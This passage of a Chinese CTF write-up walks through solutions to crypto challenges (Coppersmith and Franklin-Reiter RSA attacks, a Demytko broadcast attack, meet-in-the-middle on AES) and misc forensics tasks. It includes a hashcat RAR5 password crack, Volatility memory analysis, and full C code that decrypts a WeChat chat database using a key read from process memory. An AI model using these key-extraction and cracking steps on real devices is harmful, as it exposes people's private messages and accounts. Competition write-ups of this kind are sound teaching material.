def franklin_solve(N,r,c1,c2):
    R.<X> = Zmod(N)[]
    f1 = X^3 - c1
    f2 = (X + r)^3 - c2
    return long_to_bytes(-gcd(f1, f2).coefficients()[0]) 

R = cop_solve(N,c1,c2)
M = franklin_solve(N,R,c1,c2)
print M[100:-20]#flag1

flag2本来想考一下二元coppersmith,用github上实现的coron函数,但是出得不够好,直接解方程就做出来了。。。

#solve chlidrsa -2
from Crypto.Util.number import *
from gmpy2 import iroot
c3=12107764658433896580107280538635135643387858852976620070691115333175114455948516277086646541412419646593297889201461016204186139568117475108121483620886979081055400119823555863287145558918960315604392538385365775518531415962595383790406519796107060397002742243430892069572422621367817969753308155681207288179722229190134116638193477979912363191546805420859415583321036973918671704414861068461071208456971522273733442192940846444300605718874968169235475237419035100359757819694303844991958162933063957514071374815976765116772095057060790532835820921941088145846413070125370893266694322242100018189171839236880288990785924731992240524566660760922463600094468267262479875177563252492042982465535450638009272498423063736302466479967160885598220013264243699170187377424360056887609494799576319202957855035769847474106037568257493594313444725436907261296589305657506580644724070073124760436092785070723978602029411520504130916009400359604526646351156436915392008166680858644751752849852559564642823536994015310787265345702214921009048446529410934651620740678596168179297695317825626377519087362620254075060283392495964100088104432955208048486368967069833933648053224437409662903374041626724752539021740964387214123704727358129789524527156031473687977024441000979679744414175754810038626527843431424394300602082336759566303619981176757419266691542040519548871088083534246850686949005736818866455421187638056233493672106359797782169712261131423897346468178309589638059793798304934967642857700497827862408132279349488890162419922934863936257606996005393045700768753829407234139813940831919160314036065245565171960402080772504580960750282631405024166104777299328579173845225098623353952827436661379857324363184646746357839176347923656698542515335105484998791972994614628816209171376677660216724863205662719962318372864
def coron(pol, X, Y, k=2, debug=False):
    if pol.nvariables() != 2:
        raise ValueError("pol is not bivariate")

    P.<x,y> = PolynomialRing(ZZ)
    pol = pol(x,y)

    # Handle case where pol(0,0) == 0
    xoffset = 0

    while pol(xoffset,0) == 0:
        xoffset += 1

    pol = pol(x+xoffset,y)

    # Handle case where gcd(pol(0,0),X*Y) != 1
    while gcd(pol(0,0), X) != 1:
        X = next_prime(X, proof=False)

    while gcd(pol(0,0), Y) != 1:
        Y = next_prime(Y, proof=False)

    pol = P(pol/gcd(pol.coefficients())) # seems to be helpful
    p00 = pol(0,0)
    delta = max(pol.degree(x),pol.degree(y)) # maximum degree of any variable

    W = max(abs(i) for i in pol(x*X,y*Y).coefficients())
    u = W + ((1-W) % abs(p00))
    N = u*(X*Y)^k # modulus for polynomials

    # Construct polynomials
    p00inv = inverse_mod(p00,N)
    polq = P(sum((i*p00inv % N)*j for i,j in zip(pol.coefficients(),
                                                 pol.monomials())))
    polynomials = []
    for i in range(delta+k+1):
        for j in range(delta+k+1):
            if 0 <= i <= k and 0 <= j <= k:
                polynomials.append(polq * x^i * y^j * X^(k-i) * Y^(k-j))
            else:
                polynomials.append(x^i * y^j * N)

    # Make list of monomials for matrix indices
    monomials = []
    for i in polynomials:
        for j in i.monomials():
            if j not in monomials:
                monomials.append(j)
    monomials.sort()

    # Construct lattice spanned by polynomials with xX and yY
    L = matrix(ZZ,len(monomials))
    for i in range(len(monomials)):
        for j in range(len(monomials)):
            L[i,j] = polynomials[i](X*x,Y*y).monomial_coefficient(monomials[j])

    # makes lattice upper triangular
    # probably not needed, but it makes debug output pretty
    L = matrix(ZZ,sorted(L,reverse=True))

    if debug:
        print("Bitlengths of matrix elements (before reduction):")
        print(L.apply_map(lambda x: x.nbits()).str())

    L = L.LLL()

    if debug:
        print("Bitlengths of matrix elements (after reduction):")
        print(L.apply_map(lambda x: x.nbits()).str())

    roots = []

    for i in range(L.nrows()):
        if debug:
            print("Trying row {}".format(i))

        # i'th row converted to polynomial dividing out X and Y
        pol2 = P(sum(map(mul, zip(L[i],monomials)))(x/X,y/Y))

        r = pol.resultant(pol2, y)

        if r.is_constant(): # not independent
            continue

        for x0, _ in r.univariate_polynomial().roots():
            if x0-xoffset in [i[0] for i in roots]:
                continue
            if debug:
                print("Potential x0:",x0)
            for y0, _ in pol(x0,y).univariate_polynomial().roots():
                if debug:
                    print("Potential y0:",y0)
                if (x0-xoffset,y0) not in roots and pol(x0,y0) == 0:
                    roots.append((x0-xoffset,y0))
    return roots

prefix = 2**1000
P.<x,y> = PolynomialRing(ZZ)
f = ((prefix+x*2**200)*(2*prefix+y*2**200))^3-c3
x0, y0 = coron(f, X=2**160, Y=2**160, k=1, debug=True)[0]
print long_to_bytes(x0),long_to_bytes(y0)

flag: Nep{Nep_n3p_ba4_bad_1_l0v3_9ou}

lowExponent

这题使用的加密算法是Demytko,属于一种类似RSA的在椭圆曲线上的加密算法,这题的攻击思路也是可以完全类比RSA Hastad广播攻击的。

加密后的结果是椭圆曲线上的点, Division Polynomials使我们可以用仅含一个未知数的多项式来表示这个点的x坐标:

那么椭圆曲线上的数乘,就可以用Division Polynomials来表示了:

由于密文给了70组,所以 f_i 多项式一共有70个,由于指数 e=3,所以 f_i 为九次同余方程,可以通过中国剩余定理将70个同余方程合并成一个,这时得到的是一个系数很大,模数N也很大的九次同余方程,这时可以通过格基规约算法得到模这个很大的N的意义下的、较小的系数,当真实系数小于N时,同余方程便可以直接看作等号连接的方程,即可很方便的求解一个较小的根(明文)。

参考论文 SOLVING SIMULTANEOUS MODULAR EQUATIONS OF LOW DEGREE

非预期:在使用CRT合并成一个同余式之后,由于明文m相对n过于小,可以用coppersmith求解出根。

from functools import reduce
from Crypto.Util.number import *

f = open("data", "r")
ciphertext = []
a, b, n = [], [], []
for i in range(70):
    ci, ai, bi, ni = [int(num) for num in f.readline().strip().split(", ")]
    ciphertext.append(ci)
    a.append(ai)
    b.append(bi)
    n.append(ni)

e = 3
deg = 9
coeffi = []
for i in range(70):
    E = EllipticCurve(IntegerModRing(n[i]), [a[i], b[i]])
    P.<m> = PolynomialRing(Zmod(n[i]))
    f = ciphertext[i]*E._multiple_x_denominator(e, m) - E._multiple_x_numerator(e, m)
    coeffi.append(f.coefficients(sparse=False))

large_coeffi = [crt([int(coeffi[j][i]) for j in range(70)], [n[j] for j in range(70)]) for i in range(deg+1)]
N_bitlength = sum([n[i].bit_length() for i in range(70)])

min_n = min(n)
N = reduce(lambda x, y: x*y, n)

Sc = large_coeffi
var("x")
assume(x, 'integer')
f = Sc[9]*x^9+Sc[8]*x^8+Sc[7]*x^7+Sc[6]*x^6+Sc[5]*x^5+Sc[4]*x^4+Sc[3]*x^3+Sc[2]*x^2+Sc[1]*x+Sc[0]

lat = []
lat.append([large_coeffi[i]*min_n**i for i in range(deg+1)]+[1/(deg+1)])
for i in range(deg+1):
    lat.append([((min_n**j)*N if (i==j) else 0) for j in range(deg+1)]+[0])
Mat = matrix(lat)
Mat_LLL = Mat.LLL()
for lin in range(deg):
    Sc = [int(i) for i in Mat_LLL[lin]]
    Sc = [(Sc[i]//(min_n**i)) for i in range(deg+1)]
    var("x")
    assume(x, 'integer')
    f = Sc[9]*x^9+Sc[8]*x^8+Sc[7]*x^7+Sc[6]*x^6+Sc[5]*x^5+Sc[4]*x^4+Sc[3]*x^3+Sc[2]*x^2+Sc[1]*x+Sc[0]
    print(factor(f))
    break
'''
m = 3088969433059681806521206959873975785377227976800172674306727155831805513908352148702210247662586117242206183337522557
print(long_to_bytes(m))
'''

Nep{LOoK_aT_th3_sT4R-Lo0k_h0w_tH3y_5h1N3_fOr_Y0u}

你们一天天的不写代码,难道是在等爱情吗

打南边来了一群奇奇怪怪的人,他说他们是小银、小古、小音、小跳。。。。但是他们七嘴八舌的,剩下的就听不清了,他们将要去北边见凯撒,后来他们过了三个畸形的栅栏后终于见到了凯撒大帝

题目分析:

看到图片都是图形,一般就是古典密码了,大概翻了一下有宇宙的信号,古精灵码,盲文,数字盲文,音符加密,跳舞的小人猪圈及其各种变形

第一步就直接对照各种密码表解密就好啦~

下一步其实先凯撒后栅栏或者先栅栏后凯撒都可以解开

题目描述“将”就是说还没见到,所以直接先三个ww型栅栏加密,然后凯撒一把梭就好啦~

(不过这道题目凯撒有点特殊,正好是凯撒位移13位,即rot13也可以解密)

图形密码加密

音符密码https://zhuanlan.zhihu.com/p/90650356?utm_source=wechat_session

https://blog.csdn.net/Amherstieae/article/details/111134283?spm=1001.2014.3001.5501

图形密码:AkP_TJw}r{1buHWa$v0v!?c@bvUm?

w型栅栏:Arc{k1@bPubH_WvaT$UvJ0mvw!??}

凯撒:Nep{x1@oChoU_JinG$HiW0zij!??}

所以flag是小丑竟是我自己!??

哈哈哈哈哈over

EasyEncryption

第一部分是一个移位密码,其中plus函数可以发现其功能为异或的功能,即

plus(5,7) == 5 ^ 7

加密过程首先秘钥k从alphabet中选取随机排列,其中alphabet为16进制字符,秘钥空间为16!故不能爆破

分析得到解密函数

得到如下结论

通过给出的明文制定规则,随后在后面的密文中检验,直到在解出的密文中得到给出的明文,即得到了我们的k

后一部分可以发现他的key是由alphabet中随机选择两个字外加上一部分的k随后填充为23字节,一共选择了4轮。随后使用这四个秘钥进行循环加密,每次加密进行迭代操作。给出了message的明文和密文对,给出了flag的密文我们需要求的其明文。

暴力破解单个密钥意味着尝试使用62 ^ 2 = 3844种不同的组合。因此,正常情况下,所有4个密钥包含执行3844 ^ 4 = 218340105584896种情况。故我们可以采用中间相遇攻击。我们可以暴力破解所有前两个加密组合,然后暴力破解所有后两个解密组合,如此一来我们尝试的次数从3844^4 变为了 3844^2 * 2 = 29552672,Message-> AES Encrypt (key1) -> AES Encrypt (key2) -> sometext,我们在这里保存所有的中间解密密文。Ciphertext-> AES Decrypt (key4) -> AES Decrypt (key3) -> sometext找到相应的文本对后,我们成功找到了用于加密原始消息的密钥。随后使用4个恢复的密钥解密flag即可

第一部分的k有很多个都满足,故题目给出了k的m5值,后面只需要找到对应的md5那一行的数据即可

from multiprocessing import Process
from random import shuffle
from tqdm import tqdm
import string
from Crypto.Cipher import AES
from base64 import b64encode
from base64 import b64decode
from hashlib import md5
import binascii


ALPHABET = string.hexdigits[:-6]
ALPHABET_ALL = string.ascii_lowercase + string.ascii_uppercase + string.digits


f = open('out.txt', 'r')

flag_enc = []
msg_enc = []
keys_md5 = []
for i in f.readlines():
    i = eval(i)
    flag_enc.append(i[0])
    msg_enc.append(i[1])
    keys_md5.append(i[2])


def decrypt(ciphertext, key):
    s = 7
    plaintext = ''
    for i in range(len(ciphertext)):
        p = key[key.index(ciphertext[i]) ^ s]
        s = key.index(ciphertext[i]) ^ s
        plaintext += p
    return plaintext


plaintext = b'Welcome to NepCTF. I have a message for you '.hex()
ciphertext = '93d4466bb2277405eb5265f1943efd76c5f335fab5800afdc4058ad587743555baadd4058cc21ac5e8e2130580043af40ac5e5e8e2133ac58cc66aad5880758cc66aadc46a85dcbbcee8a555dccbccc47cbf'

s = 7
restrict = []
out = []
for i in range(len(plaintext)):
    restrict.append((plaintext[i], str(s)))
    out.append(ciphertext[:len(plaintext)][i])
    s = plaintext[i]


def getKey(ciphertext, restrict, out):
    k = list(ALPHABET)
    while plaintext not in decrypt(ciphertext, k):
        shuffle(k)
        for i in range(len(restrict)):
            res = k.index(restrict[i][0]) ^ k.index(restrict[i][1])

            if res != k.index(out[i]):
                temp = k[res]
                temp_i = k.index(out[i])

                k[res] = out[i]
                k[temp_i] = temp
    return k


while True:
    k = getKey(ciphertext, restrict, out)
    if md5(''.join(k).encode()).hexdigest() in keys_md5:
        break

k = ''.join(k)
k = 'ca038b6194df72e5'
flag1 = bytes.fromhex(decrypt(ciphertext, k))
k_md5 = md5(k.encode()).hexdigest()
print(k_md5)


iv = b'i\xfd\xd1\xb9\x81U\x87\xde\xdbB\x9b\x1b\x14|\x97\x14'


flag2 = binascii.unhexlify(flag_enc[keys_md5.index(k_md5)])

m = b"Hope you enjoy NepCtf"
m = m + b"\x00" * (16 - (len(m) % 16))
m_enc = binascii.unhexlify(msg_enc[keys_md5.index(k_md5)])

keys = []
for c1 in ALPHABET_ALL:
    for c2 in ALPHABET_ALL:
        keys.append((c1 + c2).encode() + k.encode() + b'\x00' * 6)

print(flag1)

encryptions_key = []
encryptions = []
for key1 in tqdm(keys):
    for key2 in keys:
        cipher1 = AES.new(key1, AES.MODE_CBC, IV=iv)
        cipher2 = AES.new(key2, AES.MODE_CBC, IV=iv)
        encrypted = cipher2.encrypt(cipher1.encrypt(m))
        encryptions.append(encrypted)
        encryptions_key.append([encrypted, key1, key2])

decryptions_key = []
decryptions = []

for key4 in tqdm(keys):
    for key3 in keys:
        cipher4 = AES.new(key4, AES.MODE_CBC, IV=iv)
        cipher3 = AES.new(key3, AES.MODE_CBC, IV=iv)
        decrypted = cipher3.decrypt(cipher4.decrypt(m_enc))
        decryptions.append(decrypted)
        decryptions_key.append([decrypted, key3, key4])

inters = list(set(encryptions).intersection(decryptions))


keys_found = []
for l in encryptions_key:
    if l[0] == inters[0]:
        keys_found.append(l[1])
        keys_found.append(l[2])
for l in decryptions_key:
    if l[0] == inters[0]:
        keys_found.append(l[1])
        keys_found.append(l[2])

for k in keys_found[::-1]:
    cipher = AES.new(k, AES.MODE_CBC, IV=iv)
    flag2 = cipher.decrypt(flag2)

print(flag2)

 

Misc

签到

题目是在玩电子墨水屏的时候出的128×296,鼠标写字不是很好看,还望各位师傅见谅
解法很多,转二进制直接看、Cyberchef或者用python的PIL库写脚本画图也可以

  • 转二进制
  • Cyberchef(ThTsOd师傅解法)
  • Python写脚本画图

    这题真的有很多解法

出题人日记

本题本来应该是所有题目里面最简单的题,只需要看hint和谷歌,不需要写脚本(被师傅骂出的太简单了呜呜)
1.一个xlsx文档,底下有标明第一天,第六天,第十八天,第十八天的句子里面有在辣个女人身上,
2.把图片移开得到第一个hint,在xlsx文件里面(之前有考过)
3.然后发现有空白的隐写是告知有rot13解码,此处作为后面的hint: rot13解码 https://rot13.com/
4.xlsx改压缩包—>xl->media(对xlsx文件结构的一个了解)
5.发现fufufufufufufufufuufufufufufufufufufufufufufufufufu.flag(winhex or 010editior 查看修改后缀成为一个图片)
6.使用Stegsolve看到A通道有点东西噢,就可以去看跟js有关的隐写
7.解rot13可以得到:隐写.js can solve this problem.
8.搜索隐写.js即steganography.js(主要是所有单词都是英文,把隐写翻译成英文去谷歌就over了)https://www.peter-eigenschink.at/projects/steganographyjs/showcase/
9.得到网址解密即可(没有绕弯子嗷!)

冰峰历险记

解包后index.html里面的脚本美化后能看出逻辑:
不解包直接在electeon下的开发人员工具里也可以看:

注意到”input[_0x422051]==“这个应该是比对字符串,console里随便敲一下不就出来了么?
exp.js

       var _0x3771 = ['\x62\x6c\x65', '\x72\x61\x74\x75', '\x33\x39\x46\x32', '\x31\x4c\x49\x4a\x76\x65\x68', '\x32\x33\x6e\x79\x4f\x53\x75\x6d', '\x31\x36\x4d\x42\x73\x69\x7a\x6d', '\x34\x64\x4d\x50\x73\x48\x53', '\x2d\x31\x44\x45', '\x37\x33\x32\x39\x34\x56\x55\x4d\x52\x78\x52', '\x34\x41\x45\x31', '\x31\x31\x36\x31\x38\x38\x37\x55\x50\x47\x44\x6c\x68', '\x33\x36\x30\x39', '\x66\x6f\x6e\x74', '\x38\x44\x43\x33', '\x53\x69\x7a\x65', '\x36\x44\x36\x2d', '\x43\x6f\x6e\x67', '\x32\x33\x6b\x63\x4d\x7a\x4b\x65', '\x45\x35\x35\x38', '\x31\x35\x36\x35\x32\x35\x64\x50\x66\x52\x45\x49', '\x73\x74\x79\x6c', '\x6c\x61\x74\x69', '\x35\x63\x42\x4c\x49\x4e\x5a', '\x35\x35\x37\x33\x39\x68\x72\x6d\x41\x73\x6c', '\x4e\x65\x70\x7b', '\x36\x38\x38\x35\x38\x68\x6e\x55\x50\x43\x74', '\x31\x30\x39\x39\x36\x31\x68\x43\x6f\x45\x6e\x79', '\x76\x69\x73\x69', '\x6f\x6e\x73\x21', '\x34\x36\x30\x35\x31\x46\x66\x61\x70\x4f\x49', '\x74\x65\x78\x74'];
                var _0x336e = function(_0x8710fc, _0xbfc9ff) {
                    _0x8710fc = _0x8710fc - 0xa9;
                    var _0x377162 = _0x3771[_0x8710fc];
                    return _0x377162;
                };
                var _0x422051 = _0x336e;
                (function(_0x5ea0a5, _0x23a2f6) {
                    var _0x4b1718 = _0x336e;
                    while (!![]) {
                        try {
                            var _0x13718d = parseInt(_0x4b1718(0xb3)) * -parseInt(_0x4b1718(0xbb)) + -parseInt(_0x4b1718(0xb9)) * parseInt(_0x4b1718(0xc4)) + -parseInt(_0x4b1718(0xac)) + -parseInt(_0x4b1718(0xc7)) * -parseInt(_0x4b1718(0xbc)) + parseInt(_0x4b1718(0xaa)) * parseInt(_0x4b1718(0xc5)) + parseInt(_0x4b1718(0xbf)) * parseInt(_0x4b1718(0xc6)) + parseInt(_0x4b1718(0xb5)) * parseInt(_0x4b1718(0xb8));
                            if (_0x13718d === _0x23a2f6)
                                break;
                            else
                                _0x5ea0a5['push'](_0x5ea0a5['shift']());
                        } catch (_0x2f82a9) {
                            _0x5ea0a5['push'](_0x5ea0a5['shift']());
                        }
                    }
                }(_0x3771, 0xcdfa7));
console.log(_0x422051(0xba) + _0x422051(0xc3) + _0x422051(0xab) + _0x422051(0xa9) + '\x42\x2d\x34\x39' + '\x33\x31\x2d\x41' + _0x422051(0xb1) + _0x422051(0xad) + _0x422051(0xaf) + _0x422051(0xb4) + '\x7d');

我是间谍2nd

设置下静态ip再使用nc来监听

其实还有别的方法,比如T师傅的做法:

先设置了个路由表来转发使得ip重定向,还有linux下的iptable也可以实现相同效果。

netsh int ip add addr 1 223.223.223.223/32 st = ac sk = tr

echo "aaaaaaaaaaaaaaaaaaaaaaa"|nc -l 6001 >flag.txt

make_hsy_great_again

本题本意是当个签到题,但是做出来的好像不多,考察的是PNG的RGBA模式和简单的脚本编写能力

rar文件尾有提示sixhashcat爆破六位纯数字得到密码520233

./hashcat.exe -m 13000 -a 3
'$rar5$16$fe5656ec27f0754cb92ca0a79120e099$15$974a98d46f1d4da877c271091ea930e9$8
$48f568d6888772c2' ?d?d?d?d?d?d --show
$rar5$16$fe5656ec27f0754cb92ca0a79120e099$15$974a98d46f1d4da877c271091ea930e9$8$
48f568d6888772c2:520233

png尾部有倒置的另一个图片,处理一下得到另一个图片

a = open('reverse.png','rb').read()
f = a[::-1]
b = open('great_hsy.png','wb').write(f)

图片对比【或者直接看后面的Alpha也行】可以得到fake flag和提示:Crypto【当然也可以自己写脚本 不用软件】【这里只要是给后面数据处理提供一个方法】

两个图片一个24位一个32位,读取透明度发现右上角奇怪的地方 根据hint Crypto 写脚本得到flag

from PIL import Image
from Crypto.Util.number import *
flag = ''
im = Image.open('great_hsy.png')
for j in range(72):
    a = im.getpixel((2069,j))[3]
    flag += str(a)
print(long_to_bytes(flag))
b'Nep{Qfrost_l0v3_hsy_v3r7_m0ch}'

我没有py&我没有py新

先用filescan 发现 密码.txt

dump下来后得到密码

I_didn't_py

新题里面
密码在notepad的内存里面

volatility -f file  --profile=Win7SP1x64 vaddump –p 428 -D .

notepad.exe.7f8c7b30.0x0000000000360000-0x000000000045ffff.dmp
两次的区别,一次点了保存,一次没点保存

解密veracrypt

发现微信的聊天记录文件

逆向微信得到秘钥的储存位置
首先需要知道微信版本 其实就在一个 improve.xml里 本来没打算放提示的(放了也就一个人做出来)

逆向过程不再赘述

WeChatWin.dll+1856E6C

再在微信进程中找到秘钥

volatility -f WIN-MREMF575OV9-20210317-081823.raw  --profile=Win7SP1x64 ldrmodules –p 296>dlllist.txt

volatility -f WIN-MREMF575OV9-20210317-081823.raw  --profile=Win7SP1x64 volshell
cc(pid=1152)
dd(0x000000006a4b0000+0x1856E6C,4)
db(0x08343120, length=32)

解密数据库文件

#include "StdAfx.h"
#include <iostream>
#include <Windows.h>
#include <openssl/rand.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/hmac.h>
using namespace std;
#pragma comment(lib, "ssleay32.lib")
#pragma comment(lib, "libeay32.lib")
#if _MSC_VER>=1900
#include "stdio.h"
_ACRTIMP_ALT FILE* __cdecl __acrt_iob_func(unsigned);
#ifdef __cplusplus
extern "C"
#endif
FILE* __cdecl __iob_func(unsigned i) {
return __acrt_iob_func(i);
}
#endif /* _MSC_VER>=1900 */


#undef _UNICODE
#define SQLITE_FILE_HEADER "SQLite format 3"
#define IV_SIZE 16
#define HMAC_SHA1_SIZE 20
#define KEY_SIZE 32
#define SL3SIGNLEN 20

#ifndef ANDROID_WECHAT
#define DEFAULT_PAGESIZE 4096       //4048数据 + 16IV + 20 HMAC + 12
#define DEFAULT_ITER 64000
#else
#define NO_USE_HMAC_SHA1
#define DEFAULT_PAGESIZE 1024
#define DEFAULT_ITER 4000
#endif
//pc端密码是经过OllyDbg得到的64位pass,是64位,不是网上传的32位,这里是个坑
unsigned char pass[] = {0x52,0x7d,0x8d,0xd0,0x86,0xb5,0x45,0x09,0x93,0x24,0x2a,0x7f,0xcb,0xb9,0x09,0x8c,0x0d,0x31,0x5e,0xf2,0xc3,0x19,0x43,0x66,0x83,0x1d,0x93,0x2d,0x09,0x02,0x2b,0x9f};
int Decryptdb();
int main() {
Decryptdb();
return 0;
}
int Decryptdb() {
const char*  dbfilename = "MSG0.db";
FILE* fpdb;
fopen_s(&fpdb, dbfilename, "rb+");
if (!fpdb) {
printf("打开文件错!");
getchar();
return 0;
}
fseek(fpdb, 0, SEEK_END);
long nFileSize = ftell(fpdb);
fseek(fpdb, 0, SEEK_SET);
unsigned char* pDbBuffer = new unsigned char[nFileSize];
fread(pDbBuffer, 1, nFileSize, fpdb);
fclose(fpdb);
unsigned char salt[16] = { 0 };
memcpy(salt, pDbBuffer, 16);
#ifndef NO_USE_HMAC_SHA1
unsigned char mac_salt[16] = { 0 };
memcpy(mac_salt, salt, 16);
for (int i = 0; i < sizeof(salt); i++) {
mac_salt[i] ^= 0x3a;
}
#endif
int reserve = IV_SIZE;      //校验码长度,PC端每4096字节有48字节
#ifndef NO_USE_HMAC_SHA1
reserve += HMAC_SHA1_SIZE;
#endif
reserve = ((reserve % AES_BLOCK_SIZE) == 0) ? reserve : ((reserve / AES_BLOCK_SIZE) + 1) * AES_BLOCK_SIZE;
unsigned char key[KEY_SIZE] = { 0 };
unsigned char mac_key[KEY_SIZE] = { 0 };
OpenSSL_add_all_algorithms();
PKCS5_PBKDF2_HMAC_SHA1((const char*)pass, sizeof(pass), salt, sizeof(salt), DEFAULT_ITER, sizeof(key), key);
#ifndef NO_USE_HMAC_SHA1
//此处源码,怀凝可能有错,pass 数组才是密码
//PKCS5_PBKDF2_HMAC_SHA1((const char*)key, sizeof(key), mac_salt, sizeof(mac_salt), 2, sizeof(mac_key), mac_key);
PKCS5_PBKDF2_HMAC_SHA1((const char*)key, sizeof(key), mac_salt, sizeof(mac_salt), 2, sizeof(mac_key), mac_key);
#endif
unsigned char* pTemp = pDbBuffer;
unsigned char pDecryptPerPageBuffer[DEFAULT_PAGESIZE];
int nPage = 1;
int offset = 16;
while (pTemp < pDbBuffer + nFileSize) {
printf("解密数据页:%d/%d \n", nPage, nFileSize / DEFAULT_PAGESIZE);
#ifndef NO_USE_HMAC_SHA1
unsigned char hash_mac[HMAC_SHA1_SIZE] = { 0 };
unsigned int hash_len = 0;
HMAC_CTX hctx;
HMAC_CTX_init(&hctx);
HMAC_Init_ex(&hctx, mac_key, sizeof(mac_key), EVP_sha1(), NULL);
HMAC_Update(&hctx, pTemp + offset, DEFAULT_PAGESIZE - reserve - offset + IV_SIZE);
HMAC_Update(&hctx, (const unsigned char*)& nPage, sizeof(nPage));
HMAC_Final(&hctx, hash_mac, &hash_len);
HMAC_CTX_cleanup(&hctx);
if (0 != memcmp(hash_mac, pTemp + DEFAULT_PAGESIZE - reserve + IV_SIZE, sizeof(hash_mac))) {
printf("\n 哈希值错误! \n");
getchar();
return 0;
}
#endif
//
if (nPage == 1) {
memcpy(pDecryptPerPageBuffer, SQLITE_FILE_HEADER, offset);
}
EVP_CIPHER_CTX* ectx = EVP_CIPHER_CTX_new();
EVP_CipherInit_ex(ectx, EVP_get_cipherbyname("aes-256-cbc"), NULL, NULL, NULL, 0);
EVP_CIPHER_CTX_set_padding(ectx, 0);
EVP_CipherInit_ex(ectx, NULL, NULL, key, pTemp + (DEFAULT_PAGESIZE - reserve), 0);
int nDecryptLen = 0;
int nTotal = 0;
EVP_CipherUpdate(ectx, pDecryptPerPageBuffer + offset, &nDecryptLen, pTemp + offset, DEFAULT_PAGESIZE - reserve - offset);
nTotal = nDecryptLen;
EVP_CipherFinal_ex(ectx, pDecryptPerPageBuffer + offset + nDecryptLen, &nDecryptLen);
nTotal += nDecryptLen;
EVP_CIPHER_CTX_free(ectx);
memcpy(pDecryptPerPageBuffer + DEFAULT_PAGESIZE - reserve, pTemp + DEFAULT_PAGESIZE - reserve, reserve);
char decFile[1024] = { 0 };
sprintf_s(decFile, "dec_%s", dbfilename);
FILE * fp;
fopen_s(&fp, decFile, "ab+");
{
fwrite(pDecryptPerPageBuffer, 1, DEFAULT_PAGESIZE, fp);
fclose(fp);
}
nPage++;
offset = 0;
pTemp += DEFAULT_PAGESIZE;
}
printf("\n 解密成功! \n");
system("pause");
return 0;
}

得到flag
新题同理,但是新题添加了加密防预期

新题解完数据库

得到一串字符串后,并得到提示,密码是手机号

预期解是在AccInfo.dat里

唯一解出题目的是一个非预期解

应该是用微信登了自己的账号用CE搜了自己手机号得到偏移位置

再在内存中找到题目的手机号

比较巧妙

再用AES解密字符串就可以了

(完)